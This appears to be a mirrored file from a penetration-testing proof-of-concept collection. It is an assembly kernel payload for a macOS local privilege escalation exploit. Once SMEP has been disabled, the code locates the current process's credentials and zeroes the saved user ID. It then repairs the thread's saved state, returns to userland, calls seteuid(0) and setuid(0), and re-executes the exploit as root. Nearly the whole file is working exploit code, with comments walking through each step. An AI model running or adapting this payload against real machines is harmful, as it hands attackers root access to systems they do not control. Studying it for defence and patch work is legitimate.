mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-20 18:00:35 +00:00
150 lines
3.8 KiB
ArmAsm
150 lines
3.8 KiB
ArmAsm
; This is the privilege escalation code and it will be run
|
|
; after we've disabled SMEP. I'm doing this in assembly because
|
|
; the kernel is going to execute this code as 64bit so the privilege
|
|
; escalation part has to be 64bit. However our exploit program is 32bit
|
|
; and the simplest way to have 64 and 32 bit code in one binary is probably
|
|
; writing the 64bit part in assembly and linking it to the 32 bit code.
|
|
bits 64
|
|
section __TEXT,__text
|
|
|
|
; Helper to fix relative accesses bc of PIE
|
|
getRIP:
|
|
mov rax, [rsp]
|
|
ret
|
|
|
|
; This is the function we're trying to implement
|
|
; void escalatePrivs() {
|
|
; uint32_t *posix_cred = posix_cred_get(proc_ucred(current_proc()));
|
|
; posix_cred[2] = 0x00; // uid_t cr_svuid; /* saved user id */
|
|
; return;
|
|
; }
|
|
global _escalatePrivs
|
|
_escalatePrivs:
|
|
swapgs
|
|
|
|
call getRIP
|
|
add rax, _current_proc - $
|
|
mov rax, [rax]
|
|
|
|
call rax; current_proc()
|
|
|
|
mov rdi, rax
|
|
|
|
call getRIP
|
|
add rax, _proc_ucred - $
|
|
mov rax, [rax]
|
|
|
|
call rax; proc_ucred(current_proc())
|
|
|
|
mov rdi, rax
|
|
|
|
call getRIP
|
|
add rax, _posix_cred_get - $
|
|
mov rax, [rax]
|
|
|
|
call rax; posix_cred_get(proc_ucred(current_proc())) \o/
|
|
|
|
; rax contains a pointer to our posix cred stucture at this point
|
|
;
|
|
; struct posix_cred {
|
|
; /*
|
|
; * The credential hash depends on everything from this point on
|
|
; * (see kauth_cred_get_hashkey)
|
|
; */
|
|
; uid_t cr_uid; /* effective user id */
|
|
; uid_t cr_ruid; /* real user id */
|
|
; uid_t cr_svuid; /* saved user id */
|
|
; short cr_ngroups; /* number of groups in advisory list */
|
|
; gid_t cr_groups[NGROUPS]; /* advisory group list */
|
|
; gid_t cr_rgid; /* real group id */
|
|
; gid_t cr_svgid; /* saved group id */
|
|
; uid_t cr_gmuid; /* UID for group membership purposes */
|
|
; int cr_flags; /* flags on credential */
|
|
; }
|
|
;
|
|
; we want to overwrite the cr_svuid field insead of cr_uid and cr_ruid
|
|
; to prevent crashing later on. Overwriting the cr_svuid will enable us
|
|
; to call seteuid(0)&setuid(0) in order for us to get root
|
|
|
|
mov dword [rax+0x4+0x4], 0x00; cr_svuid = 0x00;
|
|
; we're root !!! But we still need to return back to userland
|
|
; to be able to make use of our new privileges
|
|
|
|
|
|
; The easiest way to return back to userland is probably
|
|
; just calling _return_to_user, but since we have a
|
|
; kind of fucked up thread structure, we'll need to fix that first.
|
|
|
|
|
|
mov r15, qword [gs:0x08]; Get Thread structure
|
|
mov r15, qword [r15+0x428]; thread saved_state
|
|
|
|
; Calculate address of resume_task
|
|
call getRIP
|
|
add rax, resume_task - $
|
|
|
|
; populate our saved_state with sane values
|
|
mov dword [r15+0x48], eax ; New eip
|
|
mov dword [r15+0x50], 0x00200282 ; New eflags
|
|
mov dword [r15+0x4c], 0x1b ; New cs
|
|
mov dword [r15+0x54], 0x500 ; New esp
|
|
mov dword [r15+0x58], 0x23 ; New ss
|
|
|
|
mov dword [r15+0x1c], 0x23 ; New ds
|
|
mov dword [r15+0x18], 0x23 ; New es
|
|
mov dword [r15+0x14], 0x00 ; New fs
|
|
mov dword [r15+0x10], 0x00 ; New gs
|
|
|
|
call getRIP
|
|
add rax, _return_to_user - $
|
|
mov rax, [rax]
|
|
|
|
jmp rax
|
|
|
|
hlt
|
|
|
|
|
|
bits 32
|
|
|
|
resume_task:
|
|
; seteuid(0) + setuid(0)
|
|
mov eax, 183
|
|
xor ebx, ebx
|
|
int 0x80
|
|
mov eax, 23
|
|
xor ebx, ebx
|
|
int 0x80
|
|
|
|
; Exec our own process again, but this time as root ;)
|
|
xor eax, eax
|
|
push eax
|
|
push 0x00000074
|
|
push 0x696f6c70
|
|
push 0x78652f2e
|
|
mov ebx, esp
|
|
push eax
|
|
push eax
|
|
push ebx
|
|
mov al, 0x3b
|
|
push byte 0x2a
|
|
int 0x80
|
|
|
|
|
|
section __DATA,__data
|
|
|
|
global _current_proc
|
|
_current_proc:
|
|
dq 0xfeedface; placeholder
|
|
|
|
global _posix_cred_get
|
|
_posix_cred_get:
|
|
dq 0xfeedface; placeholder
|
|
|
|
global _proc_ucred
|
|
_proc_ucred:
|
|
dq 0xfeedface; placeholder
|
|
|
|
global _return_to_user
|
|
_return_to_user:
|
|
dq 0xfeedface; placeholder
|